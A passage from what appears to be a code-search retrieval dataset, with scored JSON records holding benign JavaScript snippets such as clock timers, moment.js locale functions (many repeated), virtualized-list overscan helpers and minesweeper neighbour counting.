setTimeout(function(){startTime()},1000);\n s++;\n if(s==60){\n s=0;\n m++;\n }\n if(m==60){\n m=0;\n h++;\n }\n m++;\n m--;\n }", "title": "" }, { "docid": "2728af6ea7bb30e1c3df99313f2cd320", "score": "0.59604675", "text": "function t(e,t,n){var r={ss:\"secunde\",mm:\"minute\",hh:\"ore\",dd:\"zile\",ww:\"săptămâni\",MM:\"luni\",yy:\"ani\"},o=\" \";return(e%100>=20||e>=100&&e%100===0)&&(o=\" de \"),e+o+r[n]}", "title": "" }, { "docid": "2728af6ea7bb30e1c3df99313f2cd320", "score": "0.59604675", "text": "function t(e,t,n){var r={ss:\"secunde\",mm:\"minute\",hh:\"ore\",dd:\"zile\",ww:\"săptămâni\",MM:\"luni\",yy:\"ani\"},o=\" \";return(e%100>=20||e>=100&&e%100===0)&&(o=\" de \"),e+o+r[n]}", "title": "" }, { "docid": "2728af6ea7bb30e1c3df99313f2cd320", "score": "0.59604675", "text": "function t(e,t,n){var r={ss:\"secunde\",mm:\"minute\",hh:\"ore\",dd:\"zile\",ww:\"săptămâni\",MM:\"luni\",yy:\"ani\"},o=\" \";return(e%100>=20||e>=100&&e%100===0)&&(o=\" de \"),e+o+r[n]}", "title": "" }, { "docid": "2728af6ea7bb30e1c3df99313f2cd320", "score": "0.59604675", "text": "function t(e,t,n){var r={ss:\"secunde\",mm:\"minute\",hh:\"ore\",dd:\"zile\",ww:\"săptămâni\",MM:\"luni\",yy:\"ani\"},o=\" \";return(e%100>=20||e>=100&&e%100===0)&&(o=\" de \"),e+o+r[n]}", "title": "" }, { "docid": "2a37b29e5317be3d4750d2677c0ce838", "score": "0.595363", "text": "function startTime() \n\t{\n\t var today = new Date();\n\t var h=today.getHours();\n\t var amp;\n\n\t /* Format to non-military time */\n\t if (h > 12) {\n \t\th -= 12;\n \t\tamp = \"pm\";\n\t\t} else if (h === 0) {\n \t\t\th = 12;\n \t\t\tamp = \"am\";\n\t\t}\n\n\t var m=today.getMinutes();\n\t var s=today.getSeconds();\n\t m = checkTime(m);\n\t s = checkTime(s);\n\t document.getElementById('time_detail').innerHTML = h+\":\"+m+\":\"+s + \" \" + amp;\n\t var t = setTimeout(function(){startTime()},500);\n\t}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "d437a32744a4bc2d25db35bc919efe30", "score": "0.5931247", "text": "function t(e,t,n){var a=e+\" \";switch(n){case\"ss\":return a+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\",a;case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return a+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\",a;case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return a+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\",a;case\"dd\":return a+=1===e?\"dan\":\"dana\",a;case\"MM\":return a+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\",a;case\"yy\":return a+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\",a}}", "title": "" }, { "docid": "f40dfa381e3dd21a799f6d77da1a12a9", "score": "0.5930061", "text": "function t(e,t,n){var i=e+\" \";switch(n){case\"ss\":return i+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return i+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return i+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return i+=1===e?\"dan\":\"dana\";case\"MM\":return i+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return i+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "f40dfa381e3dd21a799f6d77da1a12a9", "score": "0.5930061", "text": "function t(e,t,n){var i=e+\" \";switch(n){case\"ss\":return i+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return i+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return i+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return i+=1===e?\"dan\":\"dana\";case\"MM\":return i+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return i+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "f40dfa381e3dd21a799f6d77da1a12a9", "score": "0.5930061", "text": "function t(e,t,n){var i=e+\" \";switch(n){case\"ss\":return i+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return i+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return i+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return i+=1===e?\"dan\":\"dana\";case\"MM\":return i+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return i+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "f40dfa381e3dd21a799f6d77da1a12a9", "score": "0.5930061", "text": "function t(e,t,n){var i=e+\" \";switch(n){case\"ss\":return i+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return i+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return i+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return i+=1===e?\"dan\":\"dana\";case\"MM\":return i+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return i+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "f40dfa381e3dd21a799f6d77da1a12a9", "score": "0.5930061", "text": "function t(e,t,n){var i=e+\" \";switch(n){case\"ss\":return i+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return i+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return i+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return i+=1===e?\"dan\":\"dana\";case\"MM\":return i+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return i+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "f40dfa381e3dd21a799f6d77da1a12a9", "score": "0.5930061", "text": "function t(e,t,n){var i=e+\" \";switch(n){case\"ss\":return i+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return i+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return i+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return i+=1===e?\"dan\":\"dana\";case\"MM\":return i+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return i+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "f40dfa381e3dd21a799f6d77da1a12a9", "score": "0.5930061", "text": "function t(e,t,n){var i=e+\" \";switch(n){case\"ss\":return i+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return i+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return i+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return i+=1===e?\"dan\":\"dana\";case\"MM\":return i+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return i+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "f40dfa381e3dd21a799f6d77da1a12a9", "score": "0.5930061", "text": "function t(e,t,n){var i=e+\" \";switch(n){case\"ss\":return i+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return i+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return i+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return i+=1===e?\"dan\":\"dana\";case\"MM\":return i+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return i+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" }, { "docid": "f40dfa381e3dd21a799f6d77da1a12a9", "score": "0.5930061", "text": "function t(e,t,n){var i=e+\" \";switch(n){case\"ss\":return i+=1===e?\"sekunda\":2===e||3===e||4===e?\"sekunde\":\"sekundi\";case\"m\":return t?\"jedna minuta\":\"jedne minute\";case\"mm\":return i+=1===e?\"minuta\":2===e||3===e||4===e?\"minute\":\"minuta\";case\"h\":return t?\"jedan sat\":\"jednog sata\";case\"hh\":return i+=1===e?\"sat\":2===e||3===e||4===e?\"sata\":\"sati\";case\"dd\":return i+=1===e?\"dan\":\"dana\";case\"MM\":return i+=1===e?\"mjesec\":2===e||3===e||4===e?\"mjeseca\":\"mjeseci\";case\"yy\":return i+=1===e?\"godina\":2===e||3===e||4===e?\"godine\":\"godina\"}}", "title": "" } ]
1da0660051f894b1f448aa77f58d0e2d
Calculates the number of cells to overscan before and after a specified range. This function ensures that overscanning doesn't exceed the available cells.
[ { "docid": "abb3b19136e793481740a749476788c2", "score": "0.49860618", "text": "function defaultOverscanIndicesGetter(_ref) {\n var direction = _ref.direction,\n cellCount = _ref.cellCount,\n overscanCellsCount = _ref.overscanCellsCount,\n scrollDirection = _ref.scrollDirection,\n startIndex = _ref.startIndex,\n stopIndex = _ref.stopIndex;\n\n var overscanStartIndex = void 0;\n var overscanStopIndex = void 0;\n\n // Make sure we render at least 1 cell extra before and after (except near boundaries)\n // This is necessary in order to support keyboard navigation (TAB/SHIFT+TAB) in some cases\n // For more info see issues #625\n overscanCellsCount = Math.max(1, overscanCellsCount);\n\n switch (scrollDirection) {\n case SCROLL_DIRECTION_FORWARD:\n overscanStartIndex = startIndex - 1;\n overscanStopIndex = stopIndex + overscanCellsCount;\n break;\n case SCROLL_DIRECTION_BACKWARD:\n overscanStartIndex = startIndex - overscanCellsCount;\n overscanStopIndex = stopIndex + 1;\n break;\n }\n\n return {\n overscanStartIndex: Math.max(0, overscanStartIndex),\n overscanStopIndex: Math.min(cellCount - 1, overscanStopIndex)\n };\n}", "title": "" } ]
[ { "docid": "374e7553838b846ae575ce2a98ca0916", "score": "0.5687027", "text": "function newRangeCount(prev, next) {\n return next.last - next.first + 1 - Math.max(0, 1 + Math.min(next.last, prev.last) - Math.max(next.first, prev.first));\n}", "title": "" }, { "docid": "87cbf8d2cd96444623a116a3f750bfe3", "score": "0.5670471", "text": "function getOverscanIndices(_ref) {\n var cellCount = _ref.cellCount;\n var overscanCellsCount = _ref.overscanCellsCount;\n var scrollDirection = _ref.scrollDirection;\n var startIndex = _ref.startIndex;\n var stopIndex = _ref.stopIndex;\n\n var overscanStartIndex = void 0;\n var overscanStopIndex = void 0;\n\n switch (scrollDirection) {\n case SCROLL_DIRECTION_FORWARD:\n overscanStartIndex = startIndex;\n overscanStopIndex = stopIndex + overscanCellsCount;\n break;\n case SCROLL_DIRECTION_BACKWARD:\n overscanStartIndex = startIndex - overscanCellsCount;\n overscanStopIndex = stopIndex;\n break;\n }\n\n return {\n overscanStartIndex: Math.max(0, overscanStartIndex),\n overscanStopIndex: Math.min(cellCount - 1, overscanStopIndex)\n };\n}", "title": "" }, { "docid": "1ea4fbef1cea34d595fbc2b3cbeb6921", "score": "0.55284226", "text": "function size(range) {\r\n var rows = range.end.row + 1 - range.start.row;\r\n var columns = range.end.column + 1 - range.start.column;\r\n return rows * columns;\r\n}", "title": "" }, { "docid": "5fc3d1a643e0587629542eba9fe997fd", "score": "0.5513387", "text": "function findNumMatches(low, high, predicate) {\n return Array.from({length: high - low}, (x,i) => i + low)\n .filter(predicate)\n .length;\n}", "title": "" }, { "docid": "e60a83c5bc10a894b6a26da99144996a", "score": "0.5499621", "text": "function cellMineCount(x, y) {\r\n var count = 0;\r\n\r\n if(getValue(x + 1, y - 1) == -1)\r\n ++count;\r\n\r\n if(getValue(x, y - 1) == -1)\r\n ++count;\r\n\r\n if(getValue(x - 1, y - 1) == -1)\r\n ++count;\r\n\r\n if(getValue(x + 1, y) == -1)\r\n ++count;\r\n\r\n if(getValue(x , y) == -1)\r\n ++count;\r\n\r\n if(getValue(x - 1, y) == -1)\r\n ++count;\r\n\r\n if(getValue(x + 1, y + 1) == -1)\r\n ++count;\r\n\r\n if(getValue(x , y + 1) == -1)\r\n ++count;\r\n\r\n if(getValue(x - 1, y + 1) == -1)\r\n ++count;\r\n\r\n return count;\r\n}", "title": "" }, { "docid": "40fb88917e82617b7da2bf86682e26a5", "score": "0.5493016", "text": "function countInRange(nums, num, lo, hi) {\n let count = 0;\n for (let i = lo; i <= hi; i++) {\n if (nums[i] === num) count++;\n }\n return count;\n}", "title": "" }, { "docid": "525bf2dfe63d023455ba673d533c281c", "score": "0.54552376", "text": "function _checkNeighbours(x,y){\n var count = 0;\n if(_getCellProperty(x-1, y-1)) count ++;\n if(_getCellProperty(x, y-1)) count ++;\n if(_getCellProperty(x+1, y-1)) count ++;\n if(_getCellProperty(x-1, y)) count ++;\n if(_getCellProperty(x+1, y)) count ++;\n if(_getCellProperty(x-1, y+1)) count ++;\n if(_getCellProperty(x, y+1)) count ++;\n if(_getCellProperty(x+1, y+1)) count ++;\n return count;\n }", "title": "" }, { "docid": "cf16692f34a4549c113eabe4308576c5", "score": "0.54013085", "text": "function countNeighborsInBounds(i, j, currBoard, left, right, top, bottom) {\n var n = 0,\n x, y;\n // Count living neighbors\n for (x = -top; x <= +bottom; ++x) {\n for (y = -left; y <= +right; ++y) {\n n += currBoard[i+x][j+y];\n }\n }\n // Subtract self since we are not our own neighbor\n return n -= currBoard[i][j];\n }", "title": "" }, { "docid": "20d13695ad41ccb3fc5cb2429f600316", "score": "0.5379855", "text": "function monitorCount(rows, columns) {\n return rows * columns;\n}", "title": "" }, { "docid": "20d13695ad41ccb3fc5cb2429f600316", "score": "0.5379855", "text": "function monitorCount(rows, columns) {\n return rows * columns;\n}", "title": "" }, { "docid": "20d13695ad41ccb3fc5cb2429f600316", "score": "0.5379855", "text": "function monitorCount(rows, columns) {\n return rows * columns;\n}", "title": "" }, { "docid": "a3e11975efb5a6570bfb911b31635e4c", "score": "0.5369071", "text": "function getCellsCovered() {\n\tvar result = 0;\n\n\tfor (var i = 0; i < rows; i++) {\n\t\tfor (var j = 0; j < columns; j++) {\n\t\t\tresult += covered[i][j];\n\t\t}\n\t}\n\n\treturn result;\n}", "title": "" }, { "docid": "890de85a6b02094da88d9bdb254d30d0", "score": "0.5305685", "text": "adjacentCount(cell) {\n let count = 0;\n let x = cell.x;\n let y = cell.y;\n let sz = this.size;\n\n if (x > 0) { // check left \n if (this.getCell(x - sz, y).bomb)\n ++count;\n if (y > 0 && this.getCell(x - sz, y - sz).bomb)\n ++count;\n if (y < (this.height - 1) * sz && this.getCell(x - sz, y + sz).bomb)\n ++count;\n }\n if (x < (this.width - 1) * sz) { // check right\n if (this.getCell(x + sz, y).bomb)\n ++count;\n if (y > 0 && this.getCell(x + sz, y - sz).bomb)\n ++count;\n if (y < (this.height - 1) * sz && this.getCell(x + sz, y + sz).bomb)\n ++count;\n }\n if (y > 0 && this.getCell(x, y - sz).bomb) // check last top\n ++count;\n if (y < (this.height - 1) * sz && this.getCell(x, y + sz).bomb) // check last bottom\n ++count;\n\n return count;\n }", "title": "" }, { "docid": "caf92648c36b06bc3d012c41426d756b", "score": "0.5276656", "text": "measureRangeSize(range) {\n if (!this._forOf) {\n return 0;\n }\n return this._forOf.measureRangeSize(range, this.orientation);\n }", "title": "" }, { "docid": "caf92648c36b06bc3d012c41426d756b", "score": "0.5276656", "text": "measureRangeSize(range) {\n if (!this._forOf) {\n return 0;\n }\n return this._forOf.measureRangeSize(range, this.orientation);\n }", "title": "" }, { "docid": "caf92648c36b06bc3d012c41426d756b", "score": "0.5276656", "text": "measureRangeSize(range) {\n if (!this._forOf) {\n return 0;\n }\n return this._forOf.measureRangeSize(range, this.orientation);\n }", "title": "" }, { "docid": "a874b6ac5d31af725f4bb471ca60c4a9", "score": "0.5237383", "text": "function rangeCapacity(s_int32Range) {\n return s_int32Range.to - s_int32Range.from + 1\n}", "title": "" }, { "docid": "12ac590c3490156d796f8578c190dafc", "score": "0.52265686", "text": "function howManyMines(currentNumberCell) {\r\n \tcurrentNumberCell.style.backgroundColor = 